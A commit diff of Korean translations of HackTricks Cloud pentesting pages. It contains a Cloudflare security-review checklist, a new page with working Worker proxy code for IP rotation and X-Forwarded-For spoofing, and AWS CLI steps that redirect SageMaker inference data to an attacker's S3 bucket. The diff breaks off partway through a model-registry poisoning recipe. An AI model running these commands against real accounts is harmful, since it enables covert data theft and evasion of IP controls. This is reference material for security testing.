Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-workers

This commit is contained in:
Translator
2025-10-23 13:44:42 +00:00
parent ad14f447c8
commit 1ff6a96a7b
5 changed files with 438 additions and 155 deletions
@@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
Cloudflare 계정에는 구성할 수 있는 **일반 설정 및 서비스**가 있습니다. 이 페이지에서는 각 섹션의 **보안 관련 설정**을 **분석**할 것입니다:
Cloudflare 계정에는 구성할 수 있는 **일반 설정 및 서비스**가 있습니다. 이 페이지에서는 각 섹션의 **보안 관련 설정**을 분석합니다:
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
## Websites
각 항목을 검토하십시오:
각 항목을 다음과 함께 검토:
{{#ref}}
cloudflare-domains.md
@@ -16,9 +16,9 @@ cloudflare-domains.md
### Domain Registration
- [ ] **`Transfer Domains`**에서 어떤 도메인도 전송할 수 없는지 확인하십시오.
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
각 항목을 검토하십시오:
각 항목을 다음과 함께 검토:
{{#ref}}
cloudflare-domains.md
@@ -26,39 +26,45 @@ cloudflare-domains.md
## Analytics
_구성 보안 검토를 위한 확인할 사항을 찾을 수 없었습니다._
_I couldn't find anything to check for a config security review._
## Pages
각 Cloudflare 페이지에서:
각 Cloudflare Pages에 대해:
- [ ] **`Build log`**에서 **민감한 정보** 확인하십시오.
- [ ] 페이지에 할당된 **Github repository**에서 **민감한 정보** 확인하십시오.
- [ ] **workflow command injection** 또는 `pull_request_target` 손상을 통한 잠재적인 github repo 손상을 확인하십시오. 자세한 내용은 [**Github Security page**](../github-security/)에서 확인하십시오.
- [ ] `/fuctions` 디렉리(있는 경우)에서 **취약한 함수** 확인하고, `_redirects` 파일(있는 경우)에서 **리디렉션**을 확인하며, `_headers` 파일(있는 경우)에서 **잘못 구성된 헤더**를 확인하십시오.
- [ ] **코드에 접근할 수 있는 경우** **blackbox** 또는 **whitebox**를 통해 **웹 페이지**의 **취약점**을 확인하십시오.
- [ ] 각 페이지의 세부정보 `/<page_id>/pages/view/blocklist/settings/functions`에서 **`Environment variables`**에 **민감한 정보**가 있는지 확인하십시오.
- [ ]부정보 페이지에서 **빌드 명령** **루트 디렉토리**를 확인하여 페이지를 손상시킬 수 있는 **잠재적 주입**을 확인하십시오.
- [ ] **`Build log`**에서 **민감한 정보**가 있는지 확인하세요.
- [ ] Pages에 연결된 **Github repository**에서 **민감한 정보**가 있는지 확인하세요.
- [ ] **workflow command injection** 또는 `pull_request_target` compromise를 통한 Github repo 탈취 가능성을 확인하세요. 자세한 정보는 [**Github Security page**](../github-security/index.html)를 참조하세요.
- [ ] `/fuctions` 디렉리(있는 경우)에서 **취약한 함수** 확인하고, `_redirects` 파일(있는 경우) **redirects**와 `_headers` 파일(있는 경우) **misconfigured headers**를 확인하세요.
- [ ] 코드에 접근할 수 있다면 **blackbox** 또는 **whitebox** 방식으로 웹 페이지의 **취약점(vulnerabilities)**을 확인하세요.
- [ ] 각 페이지 상세 `/<page_id>/pages/view/blocklist/settings/functions`에서 **`Environment variables`**에 **민감한 정보**가 있는지 확인하세요.
- [ ] 세 페이지에서 **build command** **root directory**도 페이지를 탈취할 수 있는 **potential injections** 여부를 확인하세요.
## **Workers**
각 Cloudflare 워커에서 확인하십시오:
각 Cloudflare Workers에 대해 확인하세요:
- [ ] 트리거: 워커를 트리거하는 것은 무엇입니까? **사용자가 데이터를 보낼 수** 있습니까? 이 데이터는 워커에 의해 **사용**됩니까?
- [ ] **`Settings`**에서 **민감한 정보**를 포함하는 **`Variables`**를 확인하십시오.
- [ ] **워커의 코드**를 확인하고 **취약점**을 검색하십시오(특히 사용자가 입력을 관리할 수 있는 곳에서).
- 제어할 수 있는 페이지를 반환하는 SSRF를 확인하십시오.
- svg 이미지 내에서 JS를 실행하는 XSS를 확인하십시오.
- 워커가 다른 내부 서비스와 상호작용할 수 있습니다. 예를 들어, 워커는 입력에서 얻은 정보를 저장하는 R2 버킷과 상호작용할 수 있습니다. 이 경우, 워커가 R2 버킷에 대해 어떤 기능을 가지고 있으며 사용자 입력으로부터 어떻게 남용될 수 있는지 확인해야 합니다.
- [ ] 트리거: Worker를 무엇이 트리거하나요? **사용자**가 Worker에 의해 **사용될 데이터**를 전송할 수 있나요?
- [ ] **`Settings`**에서 **`Variables`**에 **민감한 정보**가 포함되어 있는지 확인하세요.
- [ ] Worker의 코드를 검사하고, 특히 사용자가 입력을 제어할 수 있는 부분에서 **취약점**을 찾으세요.
- 제어 가능한 페이지를 반환하는 SSRF 여부를 확인하세요.
- svg 이미지 내에서 JS를 실행하는 XSS 여부를 확인하세요.
- Worker가 다른 내부 서비스와 상호작용할 수 있습니다. 예를 들어, Worker가 입력에서 얻은 정보를 저장하는 R2 bucket과 상호작용할 수 있습니다. 이 경우 Worker가 R2 bucket에 대해 어떤 권한을 가지고 있는지, 그리고 사용자 입력을 통해 어떻게 남용될 수 있는지 확인해야 합니다.
> [!WARNING]
> 기본적으로 **워커는** `<worker-name>.<account>.workers.dev`와 같은 URL을 부여받습니다. 사용자 이를 **서브도메인**으로 설정할 수 있지만, 알고 있다면 항상 그 **원래 URL**로 접근할 수 있습니다.
> 기본적으로 **Worker에게 URL이 부여**되어 `<worker-name>.<account>.workers.dev`와 같은 형태가 됩니다. 사용자 이를 **서브도메인**으로 설정할 수 있지만, 해당 **원래 URL**을 알고 있다면 항상 그 URL로 접근할 수 있습니다.
실제 Workers를 pass-through proxy(IP 회전, FireProx 스타일)로 악용하는 방법은 다음을 확인하세요:
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
{{#endref}}
## R2
각 R2 버킷에서 확인하십시오:
각 R2 버킷에서 확인할 항목:
- [ ] **CORS 정책**을 구성하십시오.
- [ ] Configure **CORS Policy**.
## Stream
@@ -70,8 +76,8 @@ TODO
## Security Center
- [ ] 가능하**`Security Insights`** **스캔**과 **`Infrastructure`** **스캔**을 실행하십시오. 이들은 **보안** 측면에서 흥미로운 정보를 **강조**할 것입니다.
- [ ] 보안 잘못 구성된 정보와 흥미로운 정보를 **확인**하십시오.
- [ ] 가능하면 **`Security Insights`** 스캔과 **`Infrastructure`** 스캔을 실행하세요. 이 스캔들은 보안 관점에서 흥미로운 정보를 강조합니다.
- [ ] 이 정보를 보안 오구성 및 흥미로운 정보 확인을 위해 검토하세요.
## Turnstile
@@ -86,14 +92,14 @@ cloudflare-zero-trust-network.md
## Bulk Redirects
> [!NOTE]
> [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/)와 달리, [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/)는 본질적으로 정적입니다 — 문자열 대체 작업이나 정규 표현식을 **지원하지 않습니다**. 그러나 URL 일치 동작 및 런타임 동작에 영향을 미치는 URL 리디렉션 매개변수를 구성할 수 있습니다.
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
- [ ] **리디렉션**에 대한 **표현식** **요구 사항**이 **합리적인지** 확인하십시오.
- [ ] 또한 **흥미로운 정보**를 포함하는 **민감한 숨겨진 엔드포인트** 확인하십시오.
- [ ] 리디렉트의 **expressions** **requirements**가 타당한지 확인하세요.
- [ ] 또한 흥미로운 정보를 담고 있는 **민감한 숨겨진 엔드포인트**가 있는지 확인하세요.
## Notifications
- [ ] **알림** 확인하십시오. 이러한 알림은 보안을 위해 권장니다:
- [ ] **notifications** 확인하세요. 보안을 위해 다음 알림들을 권장니다:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
@@ -113,22 +119,22 @@ cloudflare-zero-trust-network.md
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] 모든 **대상** 확인하십시오. 웹훅 URL에 **민감한 정보**(기본 http 인증)가 있을 수 있습니다. 웹훅 URL이 **HTTPS**를 사용하는지 확인하십시오.
- [ ] 추가 확인으로, **Cloudflare 알림**을 제3자에게 **가장**해 보십시오. 어쩌면 **위험한 것을 주입**할 수 있을지도 모릅니다.
- [ ] 모든 **destinations** 확인하세요. webhook URL에 **민감한 정보**(basic http auth)가 포함될 수 있습니다. 또한 webhook URL이 **HTTPS**를 사용하는지 확인하세요.
- [ ] 추가 확인으로 제3자에게 **cloudflare 알림을 가장(impersonate)**해보면, 어쩌면 **위험한 무언가를 주입(inject)**할 수 있는지 확인할 수 있습니다.
## Manage Account
- [ ] **`Billing` -> `Payment info`**에서 **신용 카드**의 **마지막 4자리**, **만료** 시간 및 **청구 주소**를 확인할 수 있습니다.
- [ ] **`Billing` -> `Subscriptions`**에서 계정에 사용된 **요금제 유형**을 확인할 수 있습니다.
- [ ] **`Members`**에서 계정의 모든 **구성원**과 그들의 **역할**을 확인할 수 있습니다. 요금제가 Enterprise가 아닌 경우, 두 가지 역할만 존재합니다: Administrator와 Super Administrator. 그러나 사용된 **요금제가 Enterprise**인 경우, [**더 많은 역할**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) 사용하여 최소 권한 원칙을 따를 수 있습니다.
- 따라서 가능할 때마다 **Enterprise 요금제** 사용하는 것이 **권장니다**.
- [ ] 구성원에서 **2FA가 활성화된** **구성원**을 확인할 수 있습니다. **모든** 사용자는 이를 활성화야 합니다.
- [ ] **`Billing` -> `Payment info`**에서 신용카드의 **마지막 4자리**, **만료**, **청구 주소**를 수 있습니다.
- [ ] **`Billing` -> `Subscriptions`**에서 계정에 사용된 **plan type**을 확인할 수 있습니다.
- [ ] **`Members`**에서 계정의 모든 멤버와 그들의 **role**을 수 있습니다. 플랜이 Enterprise가 아닌 경우에는 Administrator와 Super Administrator의 2개 역할만 존재합니다. 그러나 사용된 **plan이 Enterprise**인 경우, 최소 권한 원칙을 따르기 위해 [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) 사용 수 있습니다.
- 따라서 가능하면 **Enterprise plan** 사용권장니다.
- [ ] Members에서 어떤 멤버가 **2FA가 활성화**되어 있는지 확인할 수 있습니다. **모든** 사용자 활성화되어야 합니다.
> [!NOTE]
> 다행히도 역할 **`Administrator`**는 멤버십을 관리할 수 있는 권한을 부여하지 않습니다 (**권한 상승이나** 새로운 구성원 초대 불가).
> 다행히도 역할 **`Administrator`**는 멤버십을 관리할 권한을 제공하지 않습니다(권한 상승이나 새 멤버 초대 불가).
## DDoS Investigation
[이 부분을 확인하십시오](cloudflare-domains.md#cloudflare-ddos-protection).
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}
@@ -0,0 +1,286 @@
# Abusing Cloudflare Workers as pass-through proxies (IP rotation, FireProx-style)
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers는 업스트림 대상 URL을 클라이언트가 제공하는 투명한 HTTP 통과형 프록시로 배포될 수 있습니다. 요청은 Cloudflare 네트워크에서 egress되어 대상은 클라이언트 대신 Cloudflare IP를 관찰합니다. 이는 AWS API Gateway의 잘 알려진 FireProx 기법을 모방한 것이지만 Cloudflare Workers를 사용합니다.
### 주요 기능
- 모든 HTTP 메서드 지원 (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- 대상은 쿼리 매개변수(?url=...), 헤더(X-Target-URL)로 제공되거나 경로에 인코딩될 수 있음(예: /https://target)
- 헤더와 바디는 필요에 따라 hop-by-hop/헤더 필터링과 함께 프록시됨
- 상태 코드와 대부분의 헤더를 보존하면서 응답이 중계됨
- (옵션) Worker가 사용자 제어 헤더에서 X-Forwarded-For를 설정하면 X-Forwarded-For 스푸핑 가능
- 여러 Worker 엔드포인트를 배포하고 요청을 분산시켜 매우 빠르고 쉽게 회전(로테이션) 가능
### 작동 방식 (흐름)
1) 클라이언트가 Worker URL(`<name>.<account>.workers.dev` 또는 커스텀 도메인 경로)로 HTTP 요청을 전송합니다.
2) Worker는 쿼리 매개변수(?url=...), X-Target-URL 헤더 또는 구현된 경우 경로 세그먼트에서 대상을 추출합니다.
3) Worker는 문제를 일으킬 수 있는 헤더를 필터링하면서 들어온 메서드, 헤더 및 바디를 지정된 업스트림 URL로 전달합니다.
4) 업스트림 응답은 Cloudflare를 통해 클라이언트로 스트리밍되어 되돌아가며, 오리진은 Cloudflare egress IP를 보게 됩니다.
### Worker 구현 예
- 쿼리 파라미터, 헤더 또는 경로에서 대상 URL을 읽음
- 안전한 서브셋의 헤더를 복사하고 원본 메서드/바디를 전달
- 옵션으로 사용자 제어 헤더(X-My-X-Forwarded-For) 또는 랜덤 IP를 사용해 X-Forwarded-For 설정
- 관대 한 CORS를 추가하고 preflight를 처리
<details>
<summary>Example Worker (JavaScript) for pass-through proxying</summary>
```javascript
/**
* Minimal Worker pass-through proxy
* - Target URL from ?url=, X-Target-URL, or /https://...
* - Proxies method/headers/body to upstream; relays response
*/
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
try {
const url = new URL(request.url)
const targetUrl = getTargetUrl(url, request.headers)
if (!targetUrl) {
return errorJSON('No target URL specified', 400, {
usage: {
query_param: '?url=https://example.com',
header: 'X-Target-URL: https://example.com',
path: '/https://example.com'
}
})
}
let target
try { target = new URL(targetUrl) } catch (e) {
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
}
// Forward original query params except control ones
const passthru = new URLSearchParams()
for (const [k, v] of url.searchParams) {
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
}
if (passthru.toString()) target.search = passthru.toString()
// Build proxied request
const proxyReq = buildProxyRequest(request, target)
const upstream = await fetch(proxyReq)
return buildProxyResponse(upstream, request.method)
} catch (error) {
return errorJSON('Proxy request failed', 500, {
message: error.message,
timestamp: new Date().toISOString()
})
}
}
function getTargetUrl(url, headers) {
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
if (!t && url.pathname !== '/') {
const p = url.pathname.slice(1)
if (p.startsWith('http')) t = p
}
return t
}
function buildProxyRequest(request, target) {
const h = new Headers()
const allow = [
'accept','accept-language','accept-encoding','authorization',
'cache-control','content-type','origin','referer','user-agent'
]
for (const [k, v] of request.headers) {
if (allow.includes(k.toLowerCase())) h.set(k, v)
}
h.set('Host', target.hostname)
// Optional: spoof X-Forwarded-For if provided
const spoof = request.headers.get('X-My-X-Forwarded-For')
h.set('X-Forwarded-For', spoof || randomIP())
return new Request(target.toString(), {
method: request.method,
headers: h,
body: ['GET','HEAD'].includes(request.method) ? null : request.body
})
}
function buildProxyResponse(resp, method) {
const h = new Headers()
for (const [k, v] of resp.headers) {
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
h.set(k, v)
}
}
// Permissive CORS for tooling convenience
h.set('Access-Control-Allow-Origin', '*')
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
h.set('Access-Control-Allow-Headers', '*')
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
}
function errorJSON(msg, status=400, extra={}) {
return new Response(JSON.stringify({ error: msg, ...extra }), {
status, headers: { 'Content-Type': 'application/json' }
})
}
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
```
</details>
### FlareProx로 배포 및 회전 자동화
FlareProx는 Cloudflare API를 사용하여 여러 Worker endpoints를 배포하고 그 사이를 순환시키는 Python 도구입니다. 이를 통해 Cloudflare의 네트워크에서 FireProx와 유사한 IP rotation을 제공합니다.
Setup
1) "Edit Cloudflare Workers" 템플릿을 사용해 Cloudflare API Token을 생성하고 대시보드에서 Account ID를 가져오세요.
2) FlareProx 구성:
```bash
git clone https://github.com/MrTurvey/flareprox
cd flareprox
pip install -r requirements.txt
```
**flareprox.json 구성 파일 생성:**
```json
{
"cloudflare": {
"api_token": "your_cloudflare_api_token",
"account_id": "your_cloudflare_account_id"
}
}
```
**CLI usage**
- N개의 Worker proxies 생성:
```bash
python3 flareprox.py create --count 2
```
- 엔드포인트 목록:
```bash
python3 flareprox.py list
```
- 헬스 체크 엔드포인트:
```bash
python3 flareprox.py test
```
- 모든 endpoints 삭제:
```bash
python3 flareprox.py cleanup
```
**Worker를 통한 트래픽 라우팅**
- 쿼리 매개변수 형식:
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
```
- 헤더 형식:
```bash
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
```
- 경로 형식 (구현된 경우):
```bash
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
```
- 방법 예시:
```bash
# GET
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
# POST (form)
curl -X POST -d "username=admin" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
# PUT (JSON)
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
# DELETE
curl -X DELETE \
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
```
**`X-Forwarded-For` 제어**
Worker가 `X-My-X-Forwarded-For`를 처리한다면, upstream `X-Forwarded-For` 값을 조작할 수 있습니다:
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**프로그래밍 방식으로 사용**
FlareProx 라이브러리를 사용해 엔드포인트를 생성/목록화/테스트하고 Python에서 요청을 라우팅합니다.
<details>
<summary>Python 예제: 임의의 Worker 엔드포인트를 통해 POST 전송</summary>
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
import json
# Initialize
flareprox = FlareProx(config_file="flareprox.json")
if not flareprox.is_configured:
print("FlareProx not configured. Run: python3 flareprox.py config")
exit(1)
# Ensure endpoints exist
endpoints = flareprox.sync_endpoints()
if not endpoints:
print("Creating proxy endpoints...")
flareprox.create_proxies(count=2)
# Make a POST request through a random endpoint
try:
post_data = json.dumps({
"username": "testuser",
"message": "Hello from FlareProx!",
"timestamp": "2025-01-01T12:00:00Z"
})
headers = {
"Content-Type": "application/json",
"User-Agent": "FlareProx-Client/1.0"
}
response = flareprox.redirect_request(
target_url="https://httpbin.org/post",
method="POST",
headers=headers,
data=post_data
)
if response.status_code == 200:
result = response.json()
print("✓ POST successful via FlareProx")
print(f"Origin IP: {result.get('origin', 'unknown')}")
print(f"Posted data: {result.get('json', {})}")
else:
print(f"Request failed with status: {response.status_code}")
except FlareProxError as e:
print(f"FlareProx error: {e}")
except Exception as e:
print(f"Request error: {e}")
```
</details>
**Burp/Scanner 통합**
- 도구(예: Burp Suite)를 Worker URL로 지정하세요.
- 실제 upstream을 ?url= 또는 X-Target-URL로 제공하세요.
- HTTP semantics (methods/headers/body)는 유지되며 소스 IP는 Cloudflare 뒤에 가려집니다.
**운영 관련 주의사항 및 제한**
- Cloudflare Workers Free plan은 계정당 하루 약 100,000개의 요청을 허용합니다; 필요하면 트래픽 분산을 위해 여러 엔드포인트를 사용하세요.
- Workers는 Cloudflare의 네트워크에서 동작합니다; 많은 대상은 Cloudflare IPs/ASN만 보게 되어 단순한 IP 허용/차단 목록이나 지리적 휴리스틱을 우회할 수 있습니다.
- 책임감 있게, 권한이 있는 경우에만 사용하세요. ToS와 robots.txt를 준수하세요.
## 참고자료
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
{{#include ../../banners/hacktricks-training.md}}
@@ -2,18 +2,18 @@
{{#include ../../../../banners/hacktricks-training.md}}
## SageMaker 엔드포인트 데이터 탈취 via UpdateEndpoint DataCaptureConfig
## UpdateEndpoint DataCaptureConfig을 통한 SageMaker 엔드포인트 데이터 가로채기
SageMaker 엔드포인트 관리를 악용해 모델이나 컨테이너를 건드리지 않고 전체 요청/응답을 공격자 제어하는 S3 버킷으로 캡처하도록 활성화합니다. 무(또는 저)다운타임 롤링 업데이트를 사용하며 엔드포인트 관리 권한만 필요합니다.
모델이나 container를 건드리지 않고 SageMaker endpoint 관리 기능을 악용하여 공격자 제어 S3 버킷으로 요청/응답을 전부 캡처하도록 설정합니다. 제로/저 다운타임 롤링 업데이트를 사용하며 endpoint 관리 권한만 필요합니다.
### 요구사항
### 요구 사항
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (또는 동일한 계정의 기존 버킷 사용)
- Optional (if using SSEKMS): `kms:Encrypt` on the chosen CMK
- Target: 기존의 동일 계정/리전 InService 실시간 엔드포인트
- 선택 사항 (SSE‑KMS를 사용하는 경우): 선택한 CMK에 대한 `kms:Encrypt`
- 대상: 동일 계정/리전의 기존 InService realtime endpoint
### 단계
1) InService 엔드포인트를 식별하고 현재 production variants를 수집
1) InService endpoint를 식별하고 현재 production variants를 수집합니다.
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) 캡처를 위한 공격자 S3 대상 준비
2) 캡처를 위해 attacker S3 destination을 준비
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
```
3) 동일한 variants를 유지하되 DataCapture를 attacker bucket으로 활성화하는 새로운 EndpointConfig를 생성하세요
3) 동일한 variants를 유지하되 DataCapture를 attacker bucket으로 활성화 새로운 EndpointConfig를 생성하세요
참고: CLI 검증을 만족하는 명시적인 콘텐츠 유형을 사용하세요
참고: CLI 검증을 통과하는 명시적인 content types를 사용하세요
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -54,51 +54,49 @@ aws sagemaker create-endpoint-config \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) 롤링 업데이트로 새 설정을 적용합니다 (다운타임 최소/없음)
4) rolling update로 새 config를 적용합니다 (minimal/no downtime)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
5) 최소 하나의 추론 호출 생성 (라이브 트래픽이 는 경우 선택 사항)
최소 하나의 추론 호출 생성합니다(라이브 트래픽이 존재하는 경우 선택 사항).
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
6) 공격자 S3에서 캡처 검증
6) 공격자 S3에서 캡처 검증
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### 영향
- 대상 엔드포인트에서 공격자가 제어하는 S3 버킷으로 실시간 추론 요청 및 응답 페이로드(및 메타데이터)를 완전 유출합니다.
- 모델/컨테이너 이미지에는 변경고 엔드포인트 수준의 변경만으로 최소한의 운영 중단으로 은밀한 데이터 탈취 경로 제공합니다.
- 대상 endpoint에서 실시간 inference 요청 및 응답 페이로드(및 메타데이터)를 공격자가 제어하는 S3 버킷으로 완전 유출.
- 모델/container 이미지 변경 없이 endpoint 수준의 변경만으로 최소한의 운영 중단으로 은밀한 데이터 탈취 경로 제공.
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
현재 EndpointConfig를 복제하고 AsyncInferenceConfig.OutputConfig의 S3OutputPath/S3FailurePath를 설정하여 엔드포인트 관리를 악용해 비동기 추론 출력을 공격자가 제어하는 S3 버킷으로 리디렉션합니다. 이렇게 하면 모델/컨테이너를 수정하지 않고도 모델 예측(및 컨테이너에 포함된 변환된 입력)을 유출할 수 있습니다.
Endpoint 관리를 악용하여 현재 EndpointConfig를 복제하고 AsyncInferenceConfig.OutputConfig의 S3OutputPath/S3FailurePath를 설정해 비동기 추론 출력을 공격자 제어 S3 버킷으로 리다이렉트. 이렇게 하면 모델/컨테이너를 수정하지 않고도 모델 예측(및 컨테이너가 포함한 변형된 입력)을 유출할 수 있음.
### 요구사항
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: 모델 실행 역할이나 관대한 버킷 정책을 통해 공격자가 제어하는 S3 버킷에 쓸 수 있는 권한
- Target: 비동기 호출이 사용 중(또는 사용될 예정)인 InService 엔드포인트
- S3: 모델 실행 역할 또는 관대 한 버킷 정책을 통해 공격자 S3 버킷에 쓸 수 있는 권한
- Target: 비동기 호출이 사용 중이거나 사용될 InService endpoint
### 단계
1) 대상 엔드포인트에서 현재 ProductionVariants 수집
1) 대상 endpoint에서 현재 ProductionVariants 수집
```bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) 공격자 버킷을 생성하세요 (model execution role이 PutObject할 수 있는지 확인하세요)
2) 공격자 버킷을 생성합니다 (모델 실행 역할이 PutObject를 수행할 수 있는지 확인하세요)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) EndpointConfig를 복제하고 AsyncInference 출력attacker bucket으로 hijack
3) EndpointConfig를 복제하고 AsyncInference 출력을 공격자 버킷으로 탈취
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
@@ -108,7 +106,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) async invocation을 트리거하고 objects가 attacker S3에 도착하는지 확인
4) async invocation을 트리거하고 객체들이 공격자 S3에 저장되는지 확인하세요
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -117,27 +115,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### 영향
- 공격자가 제어하는 S3로 asynchronous inference 결과(및 error bodies)를 리다이렉트하여 predictions 및 컨테이너가 생성하는 잠재적으로 민감한 pre/post-processed inputs의 covert exfiltration을 가능하게 하며, model code image를 변경하지 않고 최소/무 downtime으로 수행될 수 있습니다.
- 비동기 inference 결과(및 error bodies)를 attacker-controlled S3로 리디렉션하여, 컨테이너가 생성한 predictions 및 잠재적으로 민감한 pre/post-processed inputs의 covert exfiltration을 가능하게 하며, model code or image를 변경하지 않고 최소/무 다운타임으로 수행됩니다.
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
## SageMaker Model Registry 공급망 주입 via CreateModelPackage(Approved)
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the services execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
만약 attacker가 대상 SageMaker Model Package Group에서 CreateModelPackage를 수행할 수 있다면, attacker-controlled container image를 가리키는 새 모델 버전을 등록하고 즉시 Approved로 표시할 수 있습니다. 많은 CI/CD 파이프라인이 Approved 모델 버전을 endpoints 또는 training jobs에 자동 배포하므로 서비스의 실행 역할 하에서 attacker code execution이 발생할 수 있습니다. permissive ModelPackageGroup resource policy는 계정 간 노출을 확대할 수 있습니다.
### 요구사항
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
- 선택 사항 (그룹이 없을 경우 생성하기 위해): `sagemaker:CreateModelPackageGroup`
- S3: 참조된 ModelDataUrl에 대한 Read access (또는 attacker-controlled artifacts 호스팅)
- 대상: 다운스트림 자동화가 Approved 버전을 감시하는 Model Package Group
- IAM (기존 그룹을 poison하기 위한 최소 권한): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
- Optional (그룹이 존재하지 않을 경우 생성하기 위해): `sagemaker:CreateModelPackageGroup`
- S3: 참조된 ModelDataUrl에 대한 Read access(또는 attacker-controlled artifacts 호스팅)
- Target: downstream automation이 Approved 버전을 감시하는 Model Package Group
### 단계
1) 리전 설정 대상 Model Package Group 생성/검색
1) 리전 설정하고 대상 Model Package Group 생성하거나 찾기
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
```
2) S3에 더미 모델 데이터 준비
2) S3에 더미 모델 데이터 준비합니다
```bash
